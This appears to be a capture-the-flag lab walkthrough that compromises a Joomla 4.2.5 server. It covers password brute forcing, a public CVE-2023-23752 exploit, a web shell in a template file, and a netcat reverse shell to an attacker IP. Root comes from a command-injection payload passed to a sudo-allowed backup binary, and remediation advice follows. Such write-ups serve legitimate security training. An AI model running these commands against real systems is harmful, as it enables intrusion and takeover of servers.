HackSmarter: Samurai


A HackSmarter walkthrough

The Setup

The task was straightforward: enumerate a web server the team had flagged, get an initial foothold, and escalate all the way to root. I was given VPN access to the client environment and no credentials to start with.

I connected to the VPN and began enumerating the target.

Step 1: Recon With Nmap

I scanned the host to see what was running.

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Samurai

Just two ports: SSH on 22 and a web server on 80 with the page title “Samurai.” With no credentials, the web server was the obvious way in.

Step 2: Directory Enumeration

I fuzzed the site for directories with ffuf.

ffuf -u http://10.0.23.249/FUZZ -w raft-medium-directories.txt -c -fs 3185
administrator [Status: 301]
components [Status: 301]
templates [Status: 301]
modules [Status: 301]
plugins [Status: 301]
language [Status: 301]
libraries [Status: 403]
api [Status: 301]
cli [Status: 301]

Directories like administratorcomponentstemplates, and plugins are the classic layout of a Joomla site.

Step 3: File Enumeration

I fuzzed for files next.

ffuf -u http://10.0.23.249/FUZZ -w raft-medium-files.txt -c -fs 3185
LICENSE.txt [Status: 200]
configuration.php [Status: 200]
README.txt [Status: 200]
htaccess.txt [Status: 200]

These files confirmed it. This is a Joomla CMS.

Step 4: Confirming Joomla and the Version

I checked the admin page and the README to confirm the platform and get a version.

curl -s http://10.0.23.249/administrator/ | grep Joomla
<meta name="generator" content="Joomla! - Open Source Content Management">
<h2>Joomla Administrator Login</h2>
curl -s http://10.0.23.249/README.txt | head -n 5
Joomla! CMS
* This is a Joomla! 4.x installation/upgrade package.

So it is Joomla 4.x. I still needed the exact version.

Step 5: Scanning With Droopescan

I ran droopescan to pull out useful Joomla paths.

docker run --rm asannou/droopescan scan joomla -u http://10.0.23.249/
[+] Possible interesting urls found:
http://10.0.23.249/administrator/manifests/files/joomla.xml
http://10.0.23.249/administrator/
http://10.0.23.249/plugins/system/cache/cache.xml

It did not report a version, so I used a Joomla brute-force script that also fingerprints the version during its run.

python joomla_brute.py -u http://10.0.23.249 -U admin -PL http_default_pass.txt -d 1.0
INFO: Detected Joomla version: 4.2.5
[*] SUCCESS! Credentials found: admin:[REDACTED]

Two useful results: the version is 4.2.5, and the admin panel was using a weak default password.

Step 6: Exploiting CVE-2023-23752

Joomla 4.2.5 is vulnerable to CVE-2023-23752, an unauthenticated information disclosure bug. It lets you reach protected API endpoints and read the site config, including database credentials. I grabbed a public exploit and ran it.

python CVE-2023-23752.py -u http://10.0.23.249
[+] Target is vulnerable for usernames
[+] Name: Oda
[+] Username: Miyamoto
[+] Email: oda@local.local
[+] Group: Super Users
[+] Target is vulnerable for credentials
[+] User: joomla425
[+] Password: [REDACTED]

This gave me a Super Users account name (Miyamoto) and a set of database credentials. The database password had been reused for the admin login, so I could sign in to Joomla as Miyamoto.

Miyamoto:[REDACTED]

Step 7: Web Shell via the Template Editor

As a Super User in Joomla, I could edit template files directly from the admin panel. I opened the error template for the default Cassiopeia theme and dropped a small PHP web shell into it, protected by a secret parameter name so only I could trigger it.

I confirmed code execution by running id through the shell.

curl -s "http://10.0.23.249/templates/cassiopeia/error.php?[REDACTED]=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution as www-data.

Step 8: Reverse Shell

I upgraded from the single-command web shell to a full reverse shell by having the target connect back to my listener.

curl -s -G --data-urlencode "[REDACTED]=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.200.68.96 80 >/tmp/f" http://10.0.23.249/templates/cassiopeia/error.php

That gave me an interactive shell on the box as www-data.

Step 9: Finding the Privilege Escalation Path

The first thing I check on any Linux foothold is what I am allowed to run as root.

www-data@streetcoder:/var/www$ sudo -l
User www-data may run the following commands on streetcoder:
(root) NOPASSWD: /opt/backup/DbMaria

I could run a custom binary, /opt/backup/DbMaria, as root without a password. That is exactly the kind of thing that leads to root, so I pulled the binary to my machine and inspected it with strings.

strings DbMaria
system
setuid
snprintf
Usage: %s <database>
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql

The binary takes a database name as an argument and builds a shell command around it, then runs that command with system() as root. The database name is dropped straight into the command with no sanitizing, which means I can inject my own command.

Step 10: Root

I ran the binary as root and passed a database name that broke out of the intended command. The semicolon starts a new command, /bin/bash -p gives me a shell that keeps root privileges, and the # comments out the rest of the line.

sudo /opt/backup/DbMaria 'test ; /bin/bash -p #'
...
root@streetcoder:/var/www# whoami
root

Root. That completed the objective: from an anonymous web request all the way to full control of the server.

How I Got Here

The chain was short but effective. A public-facing Joomla site was running a known vulnerable version with a weak admin password. CVE-2023-23752 leaked the internal credentials, which had been reused. Super User access let me plant a web shell and land a reverse shell as www-data. From there, a sudo entry pointed at a custom binary that passed unsanitized input into a root-level system call, and a simple command injection turned that into a root shell.

Remediation

Keep Joomla and its extensions patched so known bugs like CVE-2023-23752 cannot be exploited. Use strong, unique admin passwords and never reuse a database password for the admin login. Restrict access to the administrator panel and the API endpoints. Do not grant www-data passwordless sudo to custom binaries. When a script must run as root, use absolute paths, validate all input, and never build shell commands out of user-supplied arguments.